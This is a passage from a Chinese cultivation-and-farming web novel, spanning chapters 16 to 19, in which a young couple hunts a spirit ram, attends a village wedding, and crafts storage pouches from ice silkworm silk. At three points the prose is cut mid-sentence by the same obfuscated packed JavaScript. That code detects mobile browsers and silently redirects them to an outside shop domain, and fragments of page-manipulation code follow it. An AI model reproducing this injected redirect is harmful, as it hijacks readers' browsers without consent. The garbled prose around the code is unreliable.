那些家产在其他人看来,或许一辈子也挣不到,但他媳妇儿可是拥有整个混沌珠的人,随便拔根毫毛,都比别人腰杆粗,他沾着媳妇儿的光,都能拿金元宝捏着玩儿了,干嘛还要跟那些人计较! 他还有闲心问柳芸香,“你知道那老头为什么不喜欢我吗?” 柳芸香无奈看他。 他嘻嘻哈哈道:“知道啦知道啦,当面的时候我一定叫爹。” 梁青山小时候就知道他爹不喜欢他,其中只有一小半原因是后娘挑唆的,还有一大半,则是因他长了张极似他大伯的脸。 他奶奶这辈子共生了两个儿子,他爹排老二,上头有个亲大哥,据说人聪明又能干,同辈里几乎没有比得过的,可惜十几岁时生了场大病没了,爷爷承受不住丧子之痛,也走了,只剩奶奶拉扯着他爹。 他爹前十来年人生被亲哥衬托得黯淡无光,就算后来成了独子,奶奶心里念的,也是另一个儿子居多,所以等梁青山出生,发现长得像大伯之后,他爹就打心眼里不喜欢他。 柳芸香安静听完,轻轻拍了拍他的手,柔声道:“你还有我呢。” 梁青山俯身抱住了她。 以往他曾不止一次暗自伤心,不过现在,他有了最重要的人,那老头不喜欢就不喜欢呗,谁还在乎。 两人静静相拥片刻,柳芸香仰头看他,“咱们药仙谷的山门外,有一群旋角盘羊,是低阶灵兽,据说一头有四五百斤重,且肉质鲜美,富含灵气,我们去猎一头回来炖肉吃,好不好?” 前些日子,她偶然在书架上找到一本《珠界游记》,是药仙谷历代先辈所著,里头详细描绘了混沌珠内的山河地理、灵植异兽。 远的且不提,他们药仙谷,有护山法阵震慑,高阶灵兽不敢靠近,因而山门外,反倒生活着不少低阶灵兽。 柳芸香原本就有迈出山门的打算,近日已把几个法诀掌握得得心应手,再看梁青山的修炼也有所成,至少能扛得动那庞大的猎物,便想趁机出去走走。 早在她说四五百斤时,梁青山眼睛就亮了,再听肉质鲜美,口水几乎都要流下来,连连点头,“好好好,什么时候出发?” 柳芸香笑道:“今晚准备一下,明日就走。” 隔天梁青山送完菜回来,两人沿着山谷里那条小溪,一路向外走去。 河道弯弯绕绕,沿途经过一座又一座大山,有的是开垦完毕的灵田,有的则完全是荒山模样,高山幽谷中一片寂静,仿佛只有他们两个活物。 “怪渗人的。”梁青山自言自语,还不敢高声说话,怕声音太大引起回音,就更渗人了。 柳芸香心中暗想,难怪药仙谷选择传承人,要一次择取两个,若只有一个人,在这偌大的地界里,也太孤寂了些。 道路崎岖难行,好在他们都算有点功夫在身,跋涉了三四个时辰后,总算来到一处河谷。 仿佛跨过一张看不见的薄膜,眼前霍然开朗,大片大片丰美的草地,微风吹过,现出草地上成群的野物。 梁青山若有所觉回过头,好奇道:“刚才那就是护山法阵?” 说着还好奇地伸手探了探,可惜什么也没摸到。 柳芸香点点头,“我们是药仙谷门人,被法阵所承认,所以不会受到阻拦,若是外人便无法进入。” 梁青山起了玩心,忽然往前一蹦,“诶,我进来了。” 又往后一跳,“嘿,我出来啦。” 来来回回蹦跶了好几次。 柳芸香失笑,摇头道:“先别玩了,你看,羊群来了。” “哪儿呢哪儿呢?” 不远处,一群长着镰刀般弯角、体格健硕肥美的盘羊来到河边饮水。大约此处没有危险,这些灵兽看起来悠然闲适,没什么警惕心。 柳芸香与梁青山伏低身体,猫在草丛中静静等待。 许久后,羊群喝足了水,四散开来,其中一头边低头吃草,边往他们这个方向靠近。 待到距离四五十丈时,那只盘羊忽有所觉,抬头四下张望,蹄子不住刨地,发出警惕鸣叫。 眼看其他盘羊即将靠拢,梁青山猛地一跃而起,向那头羊冲去。 那只羊吓了一跳,等看清是个不如它健壮的古怪两脚兽,顿时顶着巨角,暴躁地俯冲而来。 早在梁青山跃起时,柳芸香便双手掐诀,一枚枚金针似流光飞射。 然而那只羊速度极快,起先几针只射中它的身体,有厚实皮毛抵挡,并未造成伤害,直到她四针连发,才终于有一枚金针射中猎物眼睛。 旋角盘羊痛鸣出声,俯冲的势头微微一滞。 梁青山此刻与它相距不到数丈,趁机侧开一步,在即将错身而过时,霍然一拳捶在对手颈侧。 他的力道足有数百斤,又击打在如此脆弱的部位,那盘羊登时悲鸣着倒地。 梁青山一刻也没耽搁,抓住四只蹄子往肩上一扛,拔腿就往回冲。 盘羊群这会儿才反应过来,在他身后紧追不舍,两条腿本就没有四条腿跑得快,何况梁青山还扛着头巨大的猎物。 眼看他即将被追上,柳芸香从包袱里摸出一把茱萸粉,挥手洒向天空,同时掐了个清风诀。 一阵忽如其来的疾风吹过,羊群里立刻传来阵阵嘶鸣呛咳声,梁青山趁机逃出生天。 两人站在护山法阵内大喘气,看着阵外愤怒的盘羊群,对视一眼,不约而同笑了。 “爽!”梁青山抹了把脸,“芸香,你那几个法诀使得太好了!” 两人初次配合就打了个大猎物,梁青山信心百倍。 柳芸香却摇头笑道:“可别高兴太早,难题还在后头呢。” “什么难题?”梁青山还有些疑惑,但他很快就知道了。 俗话说,创业容易守业难,在梁青山看来,打猎容易,把猎物搬回老窝也难。 毕竟那可是四五百斤重的大家伙! 两人来时跋山涉水,走了足足三四个时辰,回去路上几乎花了双倍时间。 这还是柳芸香发现了清风诀的新用法,时不时用风托起猎物给他减重的情况。 一路走走停停,等终于回到熟悉的山谷,梁青山一屁.股坐在地上,再也不觉得爽了。 不过,当天晚上,在吃了顿富含灵气和血气、同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973073|146639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又极其鲜美的炖羊肉后,他立刻满血复活,并且盘算着下回什么时候再去打猎。 柳芸香只是含笑不语,那头旋角盘羊被两人分解,得了将近三百斤纯肉,还有许多内脏和肉骨头,都存在库房里。 眼下不缺钱,那肉又有灵气,他们并不打算拿去换钱,只留着自己慢慢吃,够吃上好一阵的了。 时间忽悠而过,腊月初二那天,柳芸香和梁青山穿着新衣出门。 一到五叔公家,梁青山就被新郎着急忙慌拉走了,柳芸香进到屋里,发现来了不少族内女眷,磕了一地的花生瓜子壳。 她先给辈分最高的几位问好,而后走到孙秋桂面前,语气和顺道:“娘,您也来了。” 孙秋桂上下打量她,视线在那身新衣上狠狠盯了几眼,噗的一声吐出瓜子壳,不阴不阳地开了口,“我当是谁,原来是秀才公的女儿,我可当不起这声娘。” 柳芸香面色不变,她喊一声娘,是出于小辈的本分,至于对方怎么回应,她并不如何在意。 “芸香,你怎么在那儿站着,快到这边来。”另一张桌子旁,周月华冲她招手。 柳芸香走过去,还未坐下,周月华就要她转个身看看,嘴里啧啧有声。 “好漂亮的衣裳,方才你走进来,我还不敢认呢。” 柳芸香低头看看自己,衣裳虽新,却只是最普通的布料,样式也没什么新奇的,与其他人并无区别,不由摇头笑道:“嫂子又说笑了。” 周月华却双眼一亮,“方才说错了,不是衣裳漂亮,是人漂亮才对!快给我说说,不过几日不见,你怎的白了这么多?” 这张桌子坐的都是年轻媳妇和未出嫁的小姑娘,与柳芸香并不熟悉,见她来了,只矜持地偷眼打量,听到周月华的话,却纷纷竖起耳朵。 年轻女子多爱俏,偏她们乡下人家,总要下地干活,长年累月晒下来,就没几个白的,眼下见柳芸香生得这样白皙好看,就想偷偷学一学,看她是不是有什么秘方。 柳芸香还真没有秘方,不过是练功练的,这话不好说出口,见周月华殷切地看着她,想起自己从前翻书见过的一个方子,便笑道:“是有个方子,只是不知道嫂子用着合不合适。” 周月华忙道:“快说快说,合不合适用了才知道。” “此方叫八白散,是用白芷、白丁香、白蒺藜……”柳芸香细细说来。 冷不丁一位小姑娘问:“白僵蚕是什么,白色的蚕茧吗?” 柳芸香抬眼一瞧,才发现桌上几乎所有女子都凑了过来,方才说话的小姑娘见她看她,顿时不好意思地红了脸。 柳芸香笑了笑,解释道:“并非蚕茧,而是染病僵死的家蚕幼虫,因体表有白色粉霜,所以叫白僵蚕。其实许多药材我们不认得,贸贸然自行用药,很有可能出错,最便利的法子是去药房,让伙计帮忙配药。” 小姑娘见她非但不介意自己插嘴,还这样温和,胆子便大了起来,叽叽喳喳又问:“随便哪一家药房都可以吗?这些药贵不贵?” 桌上其他女子也你一言我一语的搭话,柳芸香顿时成为屋里最受欢迎的人。 正热闹着,周月华悄声在她耳旁道:“那边的一直瞪你呢。” 柳芸香并未抬头,便知她说的是谁,只疑惑道:“我与青山如今不在她跟前碍眼,她该高兴才对呀。” “还能为什么,人心不足呗。”周月华嗤道,她闭着眼睛都能猜出孙秋桂的心思。 先前梁二柱分家,把长子长媳赶出去,族里长辈是很不高兴的。分家有分家的规矩,历来长子守家,家产得占大头,若人人都像梁二柱那样胡闹,整个宗族岂不是乱了套? 因梁二柱执意如此,长辈们也恼了,便作了证,既然他要把长子分出去,以后这个儿子挣的钱就跟他没关系,只等他老了,再让梁青山每年给他二百斤粮食养老。 这事族里人人知道,那段时间,周月华看孙秋桂得意得很。 不费吹灰之力就把继子赶走,家产大半都是她儿子的,怎么能不得意? 谁能想到青山小两口能吃苦,又有本事,转眼把菜卖到县城去了,据说每日至少有五十文收入,要知道,一个壮劳力农闲时去给人打短工,一天也不过三十文钱。 眼睁睁看着银钱进了继子口袋,自己却看得见摸不着,孙秋桂可不就抓心挠肺的难受了? 周月华嗤笑道:“她现在只怕后悔得很,早知道压着你们当牛做马干几年活,等干不动了再把你们赶出去!” 柳芸香听了也只一笑置之,无关紧要的人,何必放在心上。 屋里说着话,忽听外头小孩子欢呼大喊:“新娘子来啦!新娘子来啦!” 一群人便起了身,簇拥到门口看热闹。 唢呐声远远传来,很快迎亲队伍出现在村口,柳芸香一眼望去,发现人群里头,梁青山是最显眼的那个。 他比旁人高了大半个头,一身簇新的衣衫,衬出宽肩挺腰,显得尤为精神。 周月华跟柳芸香玩笑道:“你把青山打扮得这样出彩,担心他被人抢去当了新郎。” 柳芸香也笑着道:“他若长了腿,就该自己跑回来,要是不回来,我也不要他了。” 一句话把周月华笑得前俯后仰。 新娘子热热闹闹进了门,去迎亲的小伙子们激动不已。 “今天多亏了青山哥,简直了,新娘家里五个兄弟抵不过他一个!” “他们还拦着不让进门,青山把门板都卸下来了!” “还有人拉着我问话,说要给青山哥说媒嘞!” 梁青山着急的声音立刻传来:“梁青石你闭嘴!老子是有媳妇儿的人,你敢污我清白!” 满院宾客顿时哄然大笑。 17.第 17 章 017 吃过喜宴,又帮主家收拾一番,回到家里时,已是半下午了。 两人换上旧衣进入珠界,才刚站定,便闻到一股异香。 “什么味道?”梁青山嗅嗅鼻子,“甜滋滋的。” 柳芸香面上微喜,“应该是流焰果成熟了。” 边说边往灵田走去,果然见到一株株半人高的灵植如大伞撑开,每株伞下挂着七八个橙红色的果实。 柳芸香小心摘下一枚,果子有她拳头大小,隔着晶莹薄透的果皮,里头的果肉仿佛火焰般流动。 梁青山伸手捏了一下,稀奇道:“比熟透的柿子还软,好像裹着一包水。” “据说吃起来就像喝水一样呢。”柳芸香笑着说。 她欣赏了一会儿,凑到嘴边咬开一个小口子,微微用力一吸,果肉立刻化成蜜汁涌入嘴里,刚入口时还是微凉,一入腹内,就有一股暖融融的热流涌向四肢百骸,身体马上就暖和了。 她吸了几口,手中便只剩下一层皮和一枚果核,不由笑道:“吃着倒方便,一点也不脏手,你也试试。” 梁青山早已揪下一个,握在手里捏着玩,玩够了,才撕开果皮,两口把里边的果肉吸干,又把皮放入嘴里嚼了嚼,皱着眉吐出来,“难吃,跟嚼蜡一样。” 柳芸香失笑,“皮上确有一层蜡,保护果实不受虫子啃咬的。” 谁知虫子的确不来咬了,却有个看见什么都想嚼一嚼的人,非要试试那不能吃的果皮是什么味道。 她又摘了个果子递给他,“再吃一个,方才酒席上是不是没吃饱?” 五叔公家的喜宴,按村里的水平来说,已算得上十分丰盛,八道热菜里有四个是荤的,鸡鸭鱼肉全都有。 只是客人太多,一张桌子坐十来个,基本上每人夹一两筷子,菜盘就空了,若想吃饱,只能多吃些素菜。 梁青山如今食量本来就大,在外面又不好放开了吃,那点东西进了肚子,跟没吃差不多。 他接过流焰果叼在嘴里,含含糊糊道:“就那些菜,我一个人能吃完一桌。” 见他夸下如此海口,柳芸香便笑着说:“既然如此,今晚多炖点肉弥补你,一锅够不够?” 梁青山张张嘴,想说区区一锅肉,毛毛雨,小意思。但这个牛皮怎么都吹不出去,因为他……真的吃不完。 两人说的肉,是前些天猎到的那头旋角盘羊。 肉食富含血气,本就比素食更饱腹,旋角盘羊又属于低阶灵兽,血肉中含有灵气,两相叠加,导致梁青山这个号称能吃完一整桌菜的人,在初次品尝炖羊肉的时候,才吃一碗就撑到了,最后只能不甘心地抱着锅,跟里头的肉大眼瞪小眼。 生平第一回,肉在眼前却吃不下,简直颜面大丢。 梁青山哑巴了半天,不服输道:“等我再练几天,肯定能吃完一整锅!” 柳芸香含笑点头,“那我拭目以待。” 说说笑笑着,两人一起将流焰果全都采收下来,当初共种下八十株,成活的有七十三株,摘了差不多五百颗果实。 库房里又开了个新抽屉,用以存放流焰果,除此外,还有几个已启用的抽屉,里头存的分别是旋角盘羊肉、虎筋草、青竹米、无灵气的瓜果蔬菜和粮食,以及一个单独的,用来储存财物的屉子。 与其他抽屉相比,最后一个显得尤为空荡,只有孤零零的两个金元宝,几个小银锭,可怜巴巴占据一个小角落,猛一瞧还以为是几粒灰尘。 不过好消息是,跟酒楼做了一个多月买卖,他们总算有了余结。 此前一共结算了四回菜钱,总计三十两二钱银子,加上之前桃子换来的元宝,不算金子,两人差不多有四十两收入。 而梁青山的九副药,共花费二十九两五钱,这段时间每日往返县城的车费、新衣的布料和棉花、其他吃穿用度,这些一扣除,还剩八两六钱银子和二百多个铜板。 出于安全考虑,柳芸香把整两的银锭收在混沌珠里,只放了些碎银铜板在外界。 不然万一遭了贼,银子被偷事小,让人知道他们有这些钱才麻烦。 毕竟在村里人眼中,梁青山卖个菜,每天挣五十文已经够多了,要是比这还多,就该有人眼红了。 收拾完库房,梁青山去处理剩下的流焰果植株,柳芸香则来到另一片灵田。 此前虎筋草成熟,她尝试着挑了人阶木属性灵植进行培育,如今种下已有四五天了,还没有发芽的兆头。 俯身蹲在灵田旁,柳芸香伸手探向土壤,指尖释放出一缕木灵力,灵力一路往下,探寻到种子所在,像网一般张开将其网住,过了好一会儿,种子都没有丝毫变化,似乎已经失去活性。 柳芸香动作未停,持续不断释放木灵力,一层又一层,密不透风地把种子包裹起来,在如此充裕的灵力浸泡下,那枚种子里头,终于传来懒洋洋的动静。 仿佛是冬眠初醒,慢吞吞伸着懒腰,先是细小的根尖刺破种皮,向土壤深处延伸,而后娇嫩的幼芽挤开头顶松软的泥土,舒展着向上生长。 其间柳芸香输出的灵力断了片刻,那小家伙马上就不动了。 “真是个懒虫。”她又好气又好笑,只得手把手帮它发芽。 这千呼万唤始出来的小家伙名叫回春花,是一味多年生灵药,发芽当年便可开花,以其花蕊入药,具有生肌止血的功效,筑基期以下都可使用,且修为越低的修士,药效越好。 人阶灵植的脾气,比之前那些不入品阶的大得多,柳芸香一共埋了三颗种子,花了不少时间一颗颗“哄”过去,才叫它们都发了芽。 好在成果也是显著的,几株幼苗破土而出的瞬间,她便感受到比以往都要浓郁的菁纯木灵气。 柳芸香立刻盘腿坐下,运行《怜青诀》,将那些木灵气收入丹田,一下子将方才消耗的灵力全部补全。 等梁青山干完地里的活找过来,柳芸香已经收了功,准备做饭了。 珠界里时间流逝与外界不同,外头一天,混沌珠内六天,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001345|146639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味,旁人一天三顿饭,农闲时甚至只吃两顿,而他们俩有时得吃十来顿。 这种情况下,除了正常的一日三餐,其他时候肚子饿了,就只能在混沌珠里做饭,否则家里烟囱一天到晚冒烟,旁人看见肯定起疑。 而两人在珠界里练功,又经常忘记时间,为了省事,柳芸香常常一次做许多食物,存在库房里慢慢吃。 这会儿见她摆开锅碗瓢盆,梁青山兴致匆匆凑过来,“要做什么好吃的?” 等看清盆里放的是一大块旋角盘羊肉,他抓抓头,小心翼翼地问:“这些不是一顿的量,对吧?” 就在不久前,梁青山还没想过,自己会有觉得肉太多的一天,但他现在已经体会到心有余而肚子不足的滋味了。 柳芸香看他一眼,好笑道:“放心吧,不会逼你吃完的,我打算做点肉干。” “做肉干好啊,”梁青山赶紧点头,提起一旁的菜刀,在肉上比了比,“要切多大?” “大小都没关系,只要是一指厚就可以。”柳芸香交代完,拿了个碗调配腌肉的料汁。 看她取出几个流焰果,梁青山奇道:“果子也能做调料吗?” 柳芸香点了点头,“我幼时曾吃过一回蜜汁烤肉,就是用蜂蜜水刷在肉上烤制而成的,流焰果味道香甜,果肉多汁,或许可以代替蜂蜜使用,且试一试吧,也不知能不能成。” 虽然她这样说,但梁青山却觉得一定能成功,反正他就没见过媳妇儿想做什么事的时候,是做不成的。 事实也是如此,肉干的确做成了,只是过程却比想象中困难得多。 只因羊肉所含的灵气为土属性,而流焰果是火属性,几乎刚一接触,食材里的灵气就有溃散的迹象。 柳芸香急中生智,想到之前帮助回春花发芽的办法,用自己的灵力分别将两种食物包裹。 她的丹田内,五种属性的灵力相互融合,浑然一体,早已和单一属性的灵气有了本质的区别,在这种灵力的影响下,盘羊肉和流焰果里的灵气才开始逐渐相容,最终成了同时具有火、土两种属性的美味肉干。 梁青山尝了一块,立刻竖起大拇指,“好吃!比炖肉还好吃!” 而且他感觉,肉干里的灵气,比单纯的流焰果或者羊肉更容易吸收,假如吃那两样的时候只能吸收一半,这会儿起码达到了八成! “芸香,你真的太厉害啦!”梁青山佩服无比。 柳芸香并不知道,自己误打误撞间,曾浅显地涉足食修的领域,做出了真正的灵食。 她只是在高兴之余,盘算着过几天再次踏出山门的事。 这回她打算沿着小溪往上游走,据说溪水的源头是一座雪山,雪山上生活着一种寒蚕,以寒冰为食,吐出的冰蚕丝,能用来制作储物袋。 到时候,这种既能饱腹,又能御寒的肉干,正好当做路上的干粮。 她也不清楚以自己的能力,就算得到冰蚕丝,是否就能成功做出储物袋,不过,凡事总要试一试才知道。 18.第 18 章 018 既然有了外出计划,不多久两人就收拾收拾出发了,沿着小溪往上游走去。 这次的路比上回还要崎岖难行,一路险滩峻岭,飞瀑峭壁,稍不留神就有可能坠.落崖底。 足足耗费了大半日,才终于踏出护山法阵,那雪山就在法阵外不远,高达千丈,巍峨耸立,气势俨然。 仰望雪山片刻,柳芸香道:“先歇一歇吧,这山也非一时半刻能爬完。” “行。”梁青山四下看看,找了块干净的石头让她坐下,掏出水囊递过去,“累不累?要不出去睡会儿?” 他们能在混沌珠与外界间自由来回,并且离开时在什么地方,回来后还是会在哪里。 比方现在,赶路赶累了,就可以到外界的屋子睡一觉,等睡醒了再进来继续赶路。 这也是两人如今实力低微,却还敢尝试踏出山门的原因之一。 假如遇上难以应对的危险,他们完全可以暂时离开珠界进行躲避。想必寻常的危险,如野兽之类,应该不会有耐心一直守在原地;而要是其他危机,他们离开后,也有了更多的时间寻求解决办法。 柳芸香轻轻摇头,“现在还不累。” 歇了一会儿再次出发,都说望山跑死马,那雪山看着不远,两人却又足足跋涉了两个时辰,才到山脚下。 在远处看时,一整座山都是皑皑白雪,等走近才发现,只有山腰往上是被冰雪覆盖,山腰之下,则是大片大片白色的花,那花实在太多,以至于被误认为是场盛大的雪景。 梁青山咋舌:“这是什么花,开得这样多!” 柳芸香则笑道:“咱们来得正是时候,这是木梨树的花,木梨树的果实只有拇指大小,滋味酸涩,难以入口,但木梨花蜜却是出了名的清香凛冽,据说喝着有股高山冰雪的味道。” 木梨树只是最低等的灵植,在修真界属于野果之流,鸟兽见了都不屑吃它,其花蜜却十分受修士欢迎。 一听说是好吃的,梁青山就来了兴致,双眼发亮,跃跃欲试,“所以现在要去偷蜂蜜吗?应该有地方可以偷,不用我们自己采蜜吧?” “先等等。”柳芸香拉住他,“那些蜜蜂可不是吃素的,咱们要先把蜜蜂引走。” 两人通过观察花丛中蜜蜂活动的路线,成功找到一处蜂巢,柳芸香从包裹里拿出一根黑漆漆的树枝,点燃后小心放在蜂巢入口,那树枝并没有燃着,只产生了许多烟雾,顺着通道进入蜂巢内部。 “那是什么?”梁青山一脸好奇。 柳芸香压低了嗓音,小声道:“是一种烧起来味道难闻的树木,蜜蜂很讨厌那股味道,一旦闻见就会远远飞走。咱们药仙谷的先辈把它叫臭枝,方才路上摘的。” 梁青山摸着下巴想了想,恍然道:“所以那些前辈,以前也来这里偷过蜂蜜,对吧?” 不然怎么知道臭枝能对付蜜蜂?说不定那些臭枝树就是前辈种的,否则怎么那样巧,就长在偷蜂蜜的半路上? 柳芸香下意识想反驳,在她心目中,药仙谷的先辈们都是仙风道骨的存在,怎么会干出偷蜂蜜这样的事? 可就如梁青山所说,前辈们要是没做过,为何会知道得如此清楚?连臭枝要在哪里采摘、哪个部位烧起来最臭,都在书上写得一清二楚…… 越想,柳芸香神色越是微妙,总感觉世外高人的形象塌了个角。 “嗡嗡嗡——” 树枝刚点燃不久,一大群黑压压的蜜蜂就从蜂巢中涌出,翅膀擅动的声音震得人耳朵发麻。 两人躲在下方一动不动,直到所有的蜜蜂都离开巢穴,梁青山才跳出来,一刀砍下半个蜂巢。 蜂群就盘旋在不远处,发现他的动静,立刻不顾臭味围攻而来,尾巴上的尖刺蓄势待发。 柳芸香与梁青山一刻不停,马上离开混沌珠,耳边的喧闹瞬间退去,眼前景象变成熟悉的屋子。 梁青山长吁一口气,“好险,差点被叮成刺猬。” 柳芸香找来陶罐装蜂巢,闻言笑着说:“那恐怕得是好大一只刺猬。” 梁青山便改口:“那就叮成刺猪吧。”引得柳芸香不住发笑。 两人用纱布把蜂巢里的蜜滤出来,之后顺便吃了顿饭、睡了一觉,好好地养足精神,估摸着混沌珠里已经过去两三天,方提着心再次进入其中。 躲在树底下观察了一会儿,发现蜂巢已经被修补好了,蜜蜂也依旧辛勤采蜜,并没有继续追杀他们的意思,两人才猫着腰,蹑手蹑脚离开这片树林。 越往雪山上走,迎面吹来的风越是冰凉,茂密的木梨花林也逐渐变得稀疏,等终于不再有花树时,地上已有了冰雪的痕迹。 有特制的肉干在,柳芸香跟梁青山倒不怎么冷,只是雪山上并没有显眼的标志,一眼望去全是白茫茫一片,他们足足寻找了两日,其间又出去歇了一.夜,才终于找到一座冰洞。 冰洞似是天然形成,洞内冰雕雪凿满目白色。 梁青山有些疑惑,不是说有寒蚕,怎么除了冰雪什么都没有? 他正要发问,将出口时突然顿住,视线盯在身旁的洞壁上,仔细分辨了半天,终于确认那个他以为是冰块的小小凸起,其实是一枚茧。 柳芸香把一双加厚的手套递给他,交待道:“这就是寒蚕茧,不要直接拿,担心冻伤。” 那茧只有小拇指大小,附在墙壁上时是白色,等拿来下就成了透明的,连里头还未化蝶的寒蚕也同样透明。 “怎么看都像个小冰块。”梁青山把蚕茧捏在指尖观察。 听说蚕蛹是可以吃的,而且味道很不错,不知道这个能不能? 一眼看出他的想法,柳芸香摇头笑道:“寒蚕具有寒毒,吃下去会把整个肚子冻住,你确定要试试?” “不了不了。”梁青山打了个寒颤,老老实实开始收集蚕茧。 冰洞内明显比外界冷得多,两人裹得严严实实,却还是有透骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010039|146639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的寒意从四面八方袭来,以至于每过一会儿,就得停下来啃几口肉干御寒。 等收集了洞内约三成蚕茧,柳芸香就收了手,这些已经够她用的,没必要搜刮殆尽。 为了处理蚕茧,柳芸香特意进了趟城,买来纺车和织机,从煮茧开始,到抽丝纺纱,最终织成一张三尺见方、莹润光泽的轻盈丝缎。 但这才只是开始,想要制作储物袋,拥有冰蚕丝还不够,更关键的是符纹。 符纹由上古文字演化而来,具有沟通天地灵气之能。在修真界,符纹的作用比丹药更广泛,绘制符箓需要符纹,炼制法器需要符纹,连布阵也需要符纹。不同的符纹具有不同的效果,有的能引来雷电,有的可以储物,有的能形成困阵。 现在,柳芸香便要试着将储物符纹绣在冰蚕丝上,这样的符纹也称为绣纹。 不过冰蚕丝只有那小小一块,她不敢随意下手,另拿了做衣服剩下的布料练手。 先是不使用灵力,在布料上画出轮廓,再用针线一针一针绣出完整的符纹。 如此练了好几天,等绣出来的符纹线条流畅,一气呵成,不凝不涩,才试着从丹田内分出极细的一缕灵力,附着在针线上继续练习。 然而这次只绣了不到一半,手下的布料忽然碎成齑粉。 柳芸香愣了一下,待反应过来,猜测是普通布料无法承受太多灵力灌注的缘故。 但是不用这些布料练手,又能用什么呢,她现在还没有把握,不想浪费来之不易的冰蚕丝。 思来想去,她想到了库房里那张旋角盘羊皮,灵兽的皮,总比寻常布料坚韧吧? 喊来梁青山,让他从羊皮上切下一块,去除油脂和毛发,又裁成四四方方的小块。 拿着新“布料”,柳芸香再次下针。 想要一次绣成并不容易,虽说她现在眼力和手速大涨,但绣完一道完整的符纹也得需要大半个时辰,在这个过程中,需要一直保持灵力灌注,并且灵力导出的多少、快慢都不能有所变化,一旦有细微的不一致,就会影响符纹的流畅程度,从而大大降低启灵的概率。 柳芸香不记得自己绣废了多少块羊皮,应该是很多的,多到梁青山都打算再去猎一头盘羊回来给她练手了。 又绣完一道符纹,将丝线剪断,她看着眼前巴掌大的羊皮,深吸一口吸,从指尖导出一股灵力,在符纹中心位置点了点。 一阵流光闪过,空气中的灵气开始涌动,集结成看不见的漩涡,从高处俯冲而下,贯穿了整道符纹。 下一刻,羊皮上出现一道道龟裂痕迹,若不是被符纹网着,恐怕已经碎了一地。 梁青山一直在旁边屏息看着,见状忙安慰道:“没关系,我马上去弄头羊回来,你先在家休息一下。” 他以为又失败了一回,媳妇儿肯定很伤心。 然而柳芸香却缓缓笑了起来,眼中闪着熠熠光芒,“不用去了。” 她已经成功了。 19.第 19 章 019 那最后一块羊皮破碎,恰恰是绣纹成功的表现。 只因柳芸香为符纹启灵时,产生的灵力冲击太大,羊皮不堪承受,这才发生了龟裂。 趁眼下手感正好,她取出冰蚕丝,符纹形状早已了然于心,起针便一鼓作气绣了下去。 初时一针一线还看得分明,不知不觉间,下针速度越快,到最后几乎出现重影,她自己却毫无所觉,整个人进入一种几近玄乎的状态,直到灵力彻底耗尽,才恍然回神,意犹未尽停了手。 再看那张冰蚕丝,上头竟绣出了三道完整的符纹,虽然还未启灵,但她本能地知道,这些符纹都成功了。 只是,柳芸香内视丹田情况,无奈笑了笑,灵力实在消耗得太干净,一点儿都没剩下。 她放下针线,起身走到灵田间,盘腿坐下,运起功法。 灵田上方笼罩的五行菁纯灵气受到吸引,盘旋着汇聚,自她头顶灌注而下,一遍遍冲刷经脉与穴道,直至浑然融为一体,彻底投入丹田。 许久后,柳芸香睁开眼,脸上露出个浅浅的笑容。 就在方才,她踏入了炼气二层。 这虽然是个惊喜,却不算太意外,修行路上,本就是修为越低,越容易进阶。据说修真界那些顶尖的天才,只需几个月就能筑基,和人家相比,她的成就不值一提,还是得努力修炼才行。 那辛苦得来的冰蚕丝,最终被做成三个储物袋。 启灵之后,柳芸香仔细检查了一翻,储物袋所能容纳的空间并不算大,只有丈许长宽,一间小屋子的大小。 毕竟她只是个炼气修士,所能绣制的符纹等级也不高,那储物袋只能算低阶法器。 梁青山却觉得已经很了不起了,“一间屋子还不够大?咱们要是再去抓羊,四五头都能装下啦!” 他那时只背了一头羊回来,就累得哼哧瘪肚的,媳妇儿做的三个储物袋,起码能装十五头羊,意味着她比他厉害十五倍! 柳芸香乐道:“哪有这样算的,还有,你只装羊,就不装别的了?” 她一边说,一边将一个储物袋递给他。 冰蚕丝本是透明无色、华光流转的模样,做成储物袋后,外表就变得灰扑扑的,看起来像个普普通通的荷包,两人一身布衣,带着正合适,并不显得突兀。 梁青山有点不放心,“这么宝贝的东西,被我弄丢了怎么办?不然都放你那里吧。” “没事,在上头滴一滴你的指尖血,就算别人捡去也打不开,你这个荷包里头就装些吃的,平日修炼好及时补充体力。”柳芸香道。 她手里还有两个储物袋,一个用来放日常物品,令一个则专为出门准备,以后在外头打到猎物、或者采摘灵植草药之类,就方便多了。 梁青山听了,默默把储物袋揣进怀里深深藏好,这神奇的荷包是媳妇儿亲手绣的,里头那些好吃的也是媳妇儿亲手做的,他保证就算自己丢了,也不能把荷包弄丢。 这趟雪山之行,除了冰蚕丝,他们还收获了一罐木梨花蜜。 之前没功夫,这会儿才有心情拿出来好好品尝。 